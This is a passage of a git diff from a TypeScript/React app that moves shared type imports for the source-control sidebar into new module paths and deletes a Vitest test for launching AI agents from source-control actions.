a/src/renderer/src/components/right-sidebar/right-sidebar-panel-content.tsx b/src/renderer/src/components/right-sidebar/right-sidebar-panel-content.tsx index dc4972777c2..21275d004d9 100644 --- a/src/renderer/src/components/right-sidebar/right-sidebar-panel-content.tsx +++ b/src/renderer/src/components/right-sidebar/right-sidebar-panel-content.tsx @@ -1,7 +1,7 @@ import { useAppStore } from '@/store/index' import { Suspense } from 'react' import { lazyWithRetry as lazy } from '@/app-shell/startup/lazy-with-retry' -import type { ActiveRightSidebarTab } from '../../../../shared/ui-chrome-types' +import type { ActiveRightSidebarTab } from '../../../../shared/ui-chrome/ui-chrome-types' import '../../../../shared/plugins/manifest/plugin-manifest' import { isPluginPanelTabKey } from '../../../../shared/plugins/frames/plugin-tab-key' diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/SourceControlAgentActionDialogForm.tsx b/src/renderer/src/components/right-sidebar/source-control/ai/SourceControlAgentActionDialogForm.tsx index f3d4da0f211..d44b3ace121 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/SourceControlAgentActionDialogForm.tsx +++ b/src/renderer/src/components/right-sidebar/source-control/ai/SourceControlAgentActionDialogForm.tsx @@ -21,7 +21,7 @@ import type { AgentCatalogEntry } from '@/lib/agent-catalog/agent-catalog' import { cn } from '@/lib/class-names' import type { SourceControlLaunchActionId } from '../../../../../../shared/source-control/ai/recipes/source-control-ai-actions' import type { SourceControlAiWriteTarget } from '../../../../../../shared/source-control/ai/settings/source-control-ai-recipe-save' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent' import { SourceControlActionVariableChips } from '../../../source-control/SourceControlActionVariableChips' diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/buildSourceControlAgentDeliveryPlan.ts b/src/renderer/src/components/right-sidebar/source-control/ai/buildSourceControlAgentDeliveryPlan.ts index 9d30eed6cf5..7a5a72d10f8 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/buildSourceControlAgentDeliveryPlan.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/buildSourceControlAgentDeliveryPlan.ts @@ -1,7 +1,7 @@ import type { AgentLaunchPreferences } from '@/runtime/agent-launch-settings/host-agent-launch-preferences-resource' import { checkSourceControlAgentActionLaunch } from '@/lib/source-control/ai/source-control-agent-action-launch-check' import { useAppStore } from '@/store/index' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent' import type { SourceControlAgentActionDeliveryPlanState } from './SourceControlAgentActionDialogForm' import { buildSourceControlAgentConnectionErrorPlan } from './source-control-agent-action-dialog-support' diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/recipe-persistence.ts b/src/renderer/src/components/right-sidebar/source-control/ai/recipe-persistence.ts index ce70ebfbe6d..d21847284b2 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/recipe-persistence.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/recipe-persistence.ts @@ -1,5 +1,5 @@ import { repoMatchesHostIdentity } from '@/store/repos/repo-host-identity' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { AppState } from '@/store/types' import { isCustomAgentId } from '../../../../../../shared/source-control/ai/generation/commit-message-agent-spec' import type { ResolvedSourceControlAiGenerationParams } from '../../../../../../shared/source-control/ai/source-control-ai-operation-resolution' diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/recovery-launch.ts b/src/renderer/src/components/right-sidebar/source-control/ai/recovery-launch.ts index 41ac8c2ef00..86d71a47ba1 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/recovery-launch.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/recovery-launch.ts @@ -2,7 +2,7 @@ import { canLaunchSourceControlSectionAgentInPlace, showSourceControlAgentStartedIn } from './section-agent-placement' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { SelectedSourceControlActionRecipe } from '../../../../../../shared/source-control/ai/recipes/source-control-action-selection' import { ensureAgentLaunchPreferences } from '@/runtime/agent-launch-settings/use-host-agent-launch-preferences' import { diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/runSourceControlAgentActionStart.test.ts b/src/renderer/src/components/right-sidebar/source-control/ai/runSourceControlAgentActionStart.test.ts deleted file mode 100644 index b0a73bcd7b8..00000000000 --- a/src/renderer/src/components/right-sidebar/source-control/ai/runSourceControlAgentActionStart.test.ts +++ /dev/null @@ -1,216 +0,0 @@ -import { sourceControlActionRecipeEntry } from '../../../../../../shared/source-control/ai/recipes/source-control-action-selection' -import type { SourceControlActionRecipe } from '../../../../../../shared/source-control/ai/recipes/source-control-ai-actions' -import type * as RuntimeGitStatusClientModule from '@/runtime/source-control/git/runtime-git-status-client' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { useAppStore } from '@/store' -import { makeFolderWorkspace } from '@/store/folder-workspaces/folder-workspace.test-fixture' -import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' -import { TEST_REPO } from '@/store/repos/repo.test-fixture' - -const mocks = vi.hoisted(() => ({ - focusTerminalTabSurface: vi.fn(), - launchAgentInNewTab: vi.fn(), - onClose: vi.fn(), - onLaunched: vi.fn(), - onSaveAgentDefault: vi.fn(), - onStart: vi.fn(), - toastError: vi.fn(), - toastSuccess: vi.fn(), - navigate: vi.fn(), - mutationInFlight: vi.fn() -})) -vi.mock('@/runtime/source-control/git/runtime-git-status-client', async (importOriginal) => ({ - ...(await importOriginal()), - getRuntimeGitMutationInFlight: mocks.mutationInFlight -})) - -vi.mock('@/components/terminal-pane/input/focus/focus-terminal-tab-surface', () => ({ - focusTerminalTabSurface: mocks.focusTerminalTabSurface -})) - -vi.mock('@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab', () => ({ - launchAgentInNewTabWithOutcome: mocks.launchAgentInNewTab -})) - -vi.mock('sonner', () => ({ - toast: { error: mocks.toastError, success: mocks.toastSuccess } -})) - -vi.mock('@/lib/workspace/activation/workspace-navigation-toast-action', () => ({ - workspaceNavigationToastAction: ({ - workspaceId, - executionHostId - }: { - workspaceId: string - executionHostId?: string - }) => ({ - label: 'Go to workspace', - onClick: () => mocks.navigate(workspaceId, executionHostId) - }) -})) - -import { runSourceControlAgentActionStart } from './runSourceControlAgentActionStart' -import { getDefaultSettings } from '../../../../../../shared/constants' - -function buildArgs( - overrides: Partial[0], 'recipe'>> & { - recipe?: SourceControlActionRecipe - } = {} -): Parameters[0] { - return { - selectedAgent: 'codex', - trimmedCommandInput: 'Fix the bug', - saveTargetValue: 'none', - actionId: 'resolveComments', - repoId: null, - repo: null, - worktreeId: 'wt-1', - groupId: 'group-1', - promptDelivery: 'submit-after-ready', - launchPlatform: 'linux', - launchSource: 'source_control_recovery', - onStart: undefined, - onSaveAgentDefault: mocks.onSaveAgentDefault, - onLaunched: mocks.onLaunched, - onClose: mocks.onClose, - ...overrides, - recipe: sourceControlActionRecipeEntry( - overrides.recipe ?? { - agentId: 'codex', - commandInputTemplate: '{basePrompt}', - agentArgs: '--model gpt-5' - } - ) - } -} - -const initialState = useAppStore.getState() -afterEach(() => useAppStore.setState(initialState, true)) - -describe('runSourceControlAgentActionStart', () => { - beforeEach(() => { - vi.clearAllMocks() - useAppStore.setState({ - repos: [{ ...TEST_REPO, connectionId: 'box' }], - worktreesByRepo: { - [TEST_REPO.id]: [makeWorktree({ id: 'child', repoId: TEST_REPO.id, hostId: 'ssh:box' })] - }, - folderWorkspaces: [makeFolderWorkspace({ id: 'feature', executionHostId: 'ssh:box' })] - }) - mocks.mutationInFlight.mockResolvedValue({ inFlight: false }) - }) - - it('keeps a cross-host section launch child-owned instead of executing its path in the folder', async () => { - useAppStore.setState({ - folderWorkspaces: [makeFolderWorkspace({ id: 'feature', executionHostId: 'local' })], - activeGroupIdByWorktree: { child: 'child-group' }, - activeWorktreeId: 'folder:feature', - activeWorkspaceKey: 'folder:feature', - activeWorkspaceExecutionHostId: 'local', - worktreesByRepo: { - ...useAppStore.getState().worktreesByRepo, - local: [ - makeWorktree({ id: 'local::/tmp/wt', repoId: 'local', path: '/tmp/wt', hostId: 'local' }) - ] - } - }) - mocks.launchAgentInNewTab.mockReturnValue({ surface: { kind: 'host-published' } }) - await expect( - runSourceControlAgentActionStart( - buildArgs({ - worktreeId: 'child', - placementWorkspaceId: 'folder:feature', - groupId: 'folder-group', - initialCwd: '/tmp/wt', - recipe: { agentId: 'codex', surface: 'chat' }, - launchChoice: { - agent: 'codex', - route: 'structured-native-chat', - requestedSurface: 'chat', - executionHostId: 'ssh:box' - } - }) - ) - ).resolves.toBe(true) - expect(mocks.launchAgentInNewTab).toHaveBeenCalledWith( - expect.objectContaining({ - worktreeId: 'child', - groupId: 'child-group', - activate: false, - requestedSurface: 'terminal', - selectedExecutionHostId: 'ssh:box' - }) - ) - expect(mocks.launchAgentInNewTab.mock.calls[0]?.[0]).not.toHaveProperty('initialCwd') - expect(mocks.launchAgentInNewTab.mock.calls[0]?.[0]).not.toHaveProperty('trustWorktreeId') - expect(useAppStore.getState().activeWorktreeId).toBe('folder:feature') - expect(mocks.focusTerminalTabSurface).not.toHaveBeenCalled() - expect(mocks.toastSuccess).toHaveBeenCalledOnce() - expect(mocks.onLaunched).toHaveBeenCalledWith('child') - expect(mocks.navigate).not.toHaveBeenCalled() - mocks.toastSuccess.mock.calls[0]?.[1].action.onClick() - expect(mocks.navigate).toHaveBeenCalledWith('child', 'ssh:box') - }) - - // Why: irreversible host writes (fixing replies, thread resolves) hang off onLaunched, so a - // launch whose prompt never landed must report the abort and never reach onLaunched. - it('saves before deferred delivery and retains the recipe when delivery fails', async () => { - let resolveDelivery = (_value: { delivered: boolean; failureNotified: boolean }): void => {} - const promptDeliveryResult = new Promise<{ delivered: boolean; failureNotified: boolean }>( - (resolve) => { - resolveDelivery = resolve - } - ) - const onLaunchAccepted = vi.fn() - const onLaunchAborted = vi.fn() - const onSaveAgentDefault = vi.fn() - mocks.launchAgentInNewTab.mockReturnValue({ - surface: { kind: 'local-terminal', tabId: 'tab-1' }, - promptDeliveryResult - }) - useAppStore.setState({ settings: getDefaultSettings('/tmp') }) - const args = buildArgs({ - saveTargetValue: 'global', - onSaveAgentDefault, - onLaunchAccepted, - onLaunchAborted - }) - const launchPromise = runSourceControlAgentActionStart(args) - - expect(onSaveAgentDefault).toHaveBeenCalledWith({ type: 'global' }, 'resolveComments', { - agentId: 'codex', - commandInputTemplate: '{basePrompt}', - agentArgs: '--model gpt-5' - }) - expect(onSaveAgentDefault.mock.invocationCallOrder[0]).toBeLessThan( - mocks.launchAgentInNewTab.mock.invocationCallOrder[0] - ) - expect(onLaunchAccepted).toHaveBeenCalledTimes(1) - expect(mocks.onLaunched).not.toHaveBeenCalled() - expect(mocks.onClose).not.toHaveBeenCalled() - - resolveDelivery({ delivered: false, failureNotified: true }) - await expect(launchPromise).resolves.toBe(false) - - expect(onSaveAgentDefault).toHaveBeenCalledOnce() - expect(onLaunchAborted).toHaveBeenCalledTimes(1) - expect(mocks.onLaunched).not.toHaveBeenCalled() - expect(mocks.onClose).not.toHaveBeenCalled() - }) -}) - -it('confirms delivery and closes even while saving remains pending', async () => { - mocks.launchAgentInNewTab.mockReturnValue({ - surface: { kind: 'local-terminal', tabId: 'tab-1' }, - promptDeliveryResult: Promise.resolve({ delivered: true, failureNotified: false }) - }) - const onSaveAgentDefault = vi.fn(() => new Promise(() => {})) - const onLaunched = vi.fn() - await expect( - runSourceControlAgentActionStart( - buildArgs({ saveTargetValue: 'global', onSaveAgentDefault, onLaunched }) - ) - ).resolves.toBe(true) - expect(onLaunched).toHaveBeenCalledOnce() - expect(mocks.onClose).toHaveBeenCalled() -}) diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/runSourceControlAgentActionStart.ts b/src/renderer/src/components/right-sidebar/source-control/ai/runSourceControlAgentActionStart.ts index bb32e7c6688..94b406c5257 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/runSourceControlAgentActionStart.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/runSourceControlAgentActionStart.ts @@ -1,5 +1,5 @@ import { repoMatchesHostIdentity } from '@/store/repos/repo-host-identity' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store' import { canLaunchSourceControlSectionAgentInPlace, diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/section-agent-placement.ts b/src/renderer/src/components/right-sidebar/source-control/ai/section-agent-placement.ts index b32b441ae1f..b615744bf73 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/section-agent-placement.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/section-agent-placement.ts @@ -3,7 +3,7 @@ import { useAppStore } from '@/store/index' import { translate } from '@/i18n/i18n' import { resolveWorktreeDisplayName } from '@/lib/workspace/display/worktree-default-display-name' import { workspaceNavigationToastAction } from '@/lib/workspace/activation/workspace-navigation-toast-action' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { resolveOwner } from '@/lib/workspace/ownership/resolve-owner' import type { WorktreeOperationRouteState } from '@/lib/workspace/ownership/worktree-operation-route' import { authorityKey } from '../../../../../../shared/execution-host/host-authority' diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/source-control-action-recipe-match.ts b/src/renderer/src/components/right-sidebar/source-control/ai/source-control-action-recipe-match.ts index 3663e968a83..101bdf44338 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/source-control-action-recipe-match.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/source-control-action-recipe-match.ts @@ -13,7 +13,7 @@ import { saveSourceControlActionRecipe, type SourceControlAiWriteTarget } from '../../../../../../shared/source-control/ai/settings/source-control-ai-recipe-save' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../../../shared/repository/repo-types' type NormalizedSourceControlActionRecipe = { diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/source-control-launch-agent-args-applicability.ts b/src/renderer/src/components/right-sidebar/source-control/ai/source-control-launch-agent-args-applicability.ts index a84baff055f..41ed8efc0f2 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/source-control-launch-agent-args-applicability.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/source-control-launch-agent-args-applicability.ts @@ -1,5 +1,5 @@ import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import '@/lib/agent-session/launch/routing/agent-launch-route-input' import { workspaceKindForWorktreeId } from '../../../../../../shared/agent-launch/contracts/workspace-launch-kind' import type { ProspectiveWorkspace } from '@/lib/agent-session/launch/routing/agent-launch-route-input' diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-defaults.ts b/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-defaults.ts index 86187938141..db3a5b682a9 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-defaults.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-defaults.ts @@ -6,7 +6,7 @@ import { type SourceControlTextActionId } from '../../../../../../shared/source-control/ai/recipes/source-control-ai-actions' import type { SourceControlAiWriteTarget } from '../../../../../../shared/source-control/ai/settings/source-control-ai-recipe-save' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../../../shared/repository/repo-types' import { sourceControlActionRecipeMatchesTarget } from './source-control-action-recipe-match' diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-params.ts b/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-params.ts index 8a45a3f43b6..f8e5559ebb2 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-params.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/text-generation-params.ts @@ -4,7 +4,7 @@ import { isCustomAgentId } from '../../../../../../shared/source-control/ai/generation/commit-message-agent-spec' import type { ResolvedSourceControlAiGenerationParams } from '../../../../../../shared/source-control/ai/source-control-ai-operation-resolution' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' export type CommitMessageGenerationAgentChoice = | ResolvedSourceControlAiGenerationParams['agentId'] diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/use-ai.ts b/src/renderer/src/components/right-sidebar/source-control/ai/use-ai.ts index 5274b8b6836..0402ef64111 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/use-ai.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/use-ai.ts @@ -1,6 +1,6 @@ import { useSourceControlScope } from '../panel/worktree-scope' import { repoMatchesHostIdentity } from '@/store/repos/repo-host-identity' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { captureSourceControlActionSelection, resolveSourceControlActionRecipe, diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/use-recipe-saves.ts b/src/renderer/src/components/right-sidebar/source-control/ai/use-recipe-saves.ts index 04abcaec711..465be0f0f91 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/use-recipe-saves.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/use-recipe-saves.ts @@ -1,5 +1,5 @@ import { useCallback } from 'react' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { SourceControlActionRecipe, SourceControlLaunchActionId, diff --git a/src/renderer/src/components/right-sidebar/source-control/ai/use-saved-source-control-action-start.ts b/src/renderer/src/components/right-sidebar/source-control/ai/use-saved-source-control-action-start.ts index 264cbf7028f..d2ed6267dc9 100644 --- a/src/renderer/src/components/right-sidebar/source-control/ai/use-saved-source-control-action-start.ts +++ b/src/renderer/src/components/right-sidebar/source-control/ai/use-saved-source-control-action-start.ts @@ -10,7 +10,7 @@ import { agentsOfferedForLaunch } from '@/lib/agent-session/launch/inventory/hos import { ensureAgentLaunchPreferences } from '@/runtime/agent-launch-settings/use-host-agent-launch-preferences' import { buildAgentLaunchRouteInput } from '@/lib/agent-session/launch/routing/agent-launch-route-input' import { workspaceKindForWorktreeId } from '../../../../../../shared/agent-launch/contracts/workspace-launch-kind' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useRef, useState } from 'react' import { toast } from 'sonner' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/components/right-sidebar/source-control/branches/WorkspaceBranchPicker.tsx b/src/renderer/src/components/right-sidebar/source-control/branches/WorkspaceBranchPicker.tsx index 5fe1172828b..cb7a18b0d16 100644 --- a/src/renderer/src/components/right-sidebar/source-control/branches/WorkspaceBranchPicker.tsx +++ b/src/renderer/src/components/right-sidebar/source-control/branches/WorkspaceBranchPicker.tsx @@ -12,7 +12,7 @@ import { getIndexedWorktreeMap } from '@/store/slices/worktrees/listing/worktree import { getExecutionHostLabel, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { selectWorktreeAgentActivitySummary } from '@/components/sidebar/workspace-card/activity/worktree-agent-activity-summary' import type { BranchWorkspace } from './branch-picker-rows' diff --git a/src/renderer/src/components/right-sidebar/source-control/branches/branch-picker-rows.ts b/src/renderer/src/components/right-sidebar/source-control/branches/branch-picker-rows.ts index efc4c0d8c6c..60f997a57db 100644 --- a/src/renderer/src/components/right-sidebar/source-control/branches/branch-picker-rows.ts +++ b/src/renderer/src/components/right-sidebar/source-control/branches/branch-picker-rows.ts @@ -5,7 +5,7 @@ import type { import type { BranchSwitchTarget } from '../../../../../../shared/git/branch-switch-target' import { isBranchNameValid } from '../../../../../../shared/git/branch-switch-target' import { normalizeRuntimePathForComparison } from '../../../../../../shared/file-access/cross-platform-path' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export const LOCAL_BRANCH_WINDOW = 50 export const BRANCH_PICKER_ROW_LIMIT = 100 diff --git a/src/renderer/src/components/right-sidebar/source-control/branches/use-branch-picker.ts b/src/renderer/src/components/right-sidebar/source-control/branches/use-branch-picker.ts index 5e285200713..08bd361f1d0 100644 --- a/src/renderer/src/components/right-sidebar/source-control/branches/use-branch-picker.ts +++ b/src/renderer/src/components/right-sidebar/source-control/branches/use-branch-picker.ts @@ -12,7 +12,7 @@ import type { RuntimeGitLocalBranches, RuntimeRepoSearchRefs } from '../../../../../../shared/worktree/catalog/runtime-worktree-contracts' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { branchPickerRows, indexBranchWorkspaces, diff --git a/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.ts b/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.ts index 6d1d1038dda..a1da22f8286 100644 --- a/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.ts +++ b/src/renderer/src/components/right-sidebar/source-control/branches/use-workspace-copy-status.ts @@ -3,7 +3,7 @@ import { useAppStore } from '@/store/index' import { translate } from '@/i18n/i18n' import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy' import { getRuntimeGitStatus } from '@/runtime/source-control/git/runtime-git-status-client' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { GitConflictOperation, GitStatusEntry, diff --git a/src/renderer/src/components/right-sidebar/source-control/branches/workspace-branch-switch-status.ts b/src/renderer/src/components/right-sidebar/source-control/branches/workspace-branch-switch-status.ts index 7e7dadfde3e..cd9d7c971b4 100644 --- a/src/renderer/src/components/right-sidebar/source-control/branches/workspace-branch-switch-status.ts +++ b/src/renderer/src/components/right-sidebar/source-control/branches/workspace-branch-switch-status.ts @@ -5,7 +5,7 @@ import { worktreeCopyPushTarget, worktreeGitCopyHostId } from '@/lib/workspace/ownership/worktree-git-copy' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { clearLandedBranchSwitchError, getWorktreeOperationStore diff --git a/src/renderer/src/components/right-sidebar/source-control/commit/commit-drafts.ts b/src/renderer/src/components/right-sidebar/source-control/commit/commit-drafts.ts index 19d43360a30..fb5c99a30d2 100644 --- a/src/renderer/src/components/right-sidebar/source-control/commit/commit-drafts.ts +++ b/src/renderer/src/components/right-sidebar/source-control/commit/commit-drafts.ts @@ -1,4 +1,4 @@ -import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome-types' +import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome/ui-chrome-types' export function normalizeSourceControlViewMode(value: unknown): SourceControlViewMode { return value === 'tree' || value === 'list' ? value : 'list' diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/branch-section.tsx b/src/renderer/src/components/right-sidebar/source-control/listing/branch-section.tsx index 510cd1da376..baaedc1f435 100644 --- a/src/renderer/src/components/right-sidebar/source-control/listing/branch-section.tsx +++ b/src/renderer/src/components/right-sidebar/source-control/listing/branch-section.tsx @@ -5,7 +5,7 @@ import type { GitBranchChangeEntry, GitBranchCompareSummary } from '../../../../../../shared/git/diff/git-diff-compare-types' -import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome-types' +import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { SourceControlTreeNode } from '../../../../../../shared/source-control/listing/source-control-tree' import type { SourceControlRowOpenEvent } from './split-open' import { BranchEntryRow } from './branch-entry-row' diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/operation-target.ts b/src/renderer/src/components/right-sidebar/source-control/listing/operation-target.ts index a90d3d5c871..302ae562d45 100644 --- a/src/renderer/src/components/right-sidebar/source-control/listing/operation-target.ts +++ b/src/renderer/src/components/right-sidebar/source-control/listing/operation-target.ts @@ -3,7 +3,7 @@ import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtim import { requireGitOwnerTarget } from '../sync/worktree-git-owner-target' import type { GitConflictOperation } from '../../../../../../shared/git/status/git-status-types' import type { GitPushTarget } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export type AbortConflictOperation = Extract diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/section-file-list.tsx b/src/renderer/src/components/right-sidebar/source-control/listing/section-file-list.tsx index 9a6ecef2863..c8c9dc6d39c 100644 --- a/src/renderer/src/components/right-sidebar/source-control/listing/section-file-list.tsx +++ b/src/renderer/src/components/right-sidebar/source-control/listing/section-file-list.tsx @@ -1,7 +1,7 @@ import React from 'react' import type { GitStatusEntry } from '../../../../../../shared/git/status/git-status-types' import type { ConflictResolution } from '../../../../../../shared/source-control/listing/source-control-entry-actions' -import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome-types' +import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { DiscardAllArea } from '../../../../../../shared/source-control/listing/source-control-discard-all-sequence' import { getSubmoduleExpansionKey, diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/uncommitted-sections.tsx b/src/renderer/src/components/right-sidebar/source-control/listing/uncommitted-sections.tsx index 6c77ceaf81a..fa2987cc450 100644 --- a/src/renderer/src/components/right-sidebar/source-control/listing/uncommitted-sections.tsx +++ b/src/renderer/src/components/right-sidebar/source-control/listing/uncommitted-sections.tsx @@ -4,7 +4,7 @@ import { Button } from '@/components/ui/button' import { useTranslate } from '@/i18n/use-translate' import type { GitStatusEntry } from '../../../../../../shared/git/status/git-status-types' import type { ConflictResolution } from '../../../../../../shared/source-control/listing/source-control-entry-actions' -import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome-types' +import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { getDiscardAllPaths, getUnstageAllPaths, diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/use-file-projection.ts b/src/renderer/src/components/right-sidebar/source-control/listing/use-file-projection.ts index 08d66e7eafd..b06996a0db0 100644 --- a/src/renderer/src/components/right-sidebar/source-control/listing/use-file-projection.ts +++ b/src/renderer/src/components/right-sidebar/source-control/listing/use-file-projection.ts @@ -1,7 +1,7 @@ import { useMemo } from 'react' import type { GitBranchChangeEntry } from '../../../../../../shared/git/diff/git-diff-compare-types' import type { GitStatusEntry } from '../../../../../../shared/git/status/git-status-types' -import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome-types' +import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { compareFileNames } from '../../../../../../shared/file-listing/file-name-sort' import { filterSourceControlPathEntries, diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/use-worktree-context.ts b/src/renderer/src/components/right-sidebar/source-control/listing/use-worktree-context.ts index c29be59795f..84a8b4759dd 100644 --- a/src/renderer/src/components/right-sidebar/source-control/listing/use-worktree-context.ts +++ b/src/renderer/src/components/right-sidebar/source-control/listing/use-worktree-context.ts @@ -18,7 +18,7 @@ import { getHostedReviewCacheKey } from '@/store/slices/hosted-review/hosted-rev import type { GitBranchChangeEntry } from '../../../../../../shared/git/diff/git-diff-compare-types' import type { GitStatusEntry } from '../../../../../../shared/git/status/git-status-types' import { isFolderRepo } from '../../../../../../shared/repository/repo-kind' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { selectReviewCacheData, selectReviewCacheEntry diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/header-overflow-menu.tsx b/src/renderer/src/components/right-sidebar/source-control/panel/header-overflow-menu.tsx index ca28dbfcba8..657a29e7c21 100644 --- a/src/renderer/src/components/right-sidebar/source-control/panel/header-overflow-menu.tsx +++ b/src/renderer/src/components/right-sidebar/source-control/panel/header-overflow-menu.tsx @@ -9,7 +9,7 @@ import { Unlink } from 'lucide-react' import type { Worktree } from '../../../../../../shared/worktree/types' -import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome-types' +import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { Button } from '@/components/ui/button' import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip' import { diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/header-toolbar.tsx b/src/renderer/src/components/right-sidebar/source-control/panel/header-toolbar.tsx index e32a86cfba3..6e2a8b361da 100644 --- a/src/renderer/src/components/right-sidebar/source-control/panel/header-toolbar.tsx +++ b/src/renderer/src/components/right-sidebar/source-control/panel/header-toolbar.tsx @@ -4,7 +4,7 @@ import { createPortal } from 'react-dom' import { Search, X } from 'lucide-react' import type { GitBranchCompareSummary } from '../../../../../../shared/git/diff/git-diff-compare-types' import type { GitBranchLineTotal } from '../../../../../../shared/git/status/git-status-types' -import type { SourceControlViewMode } from 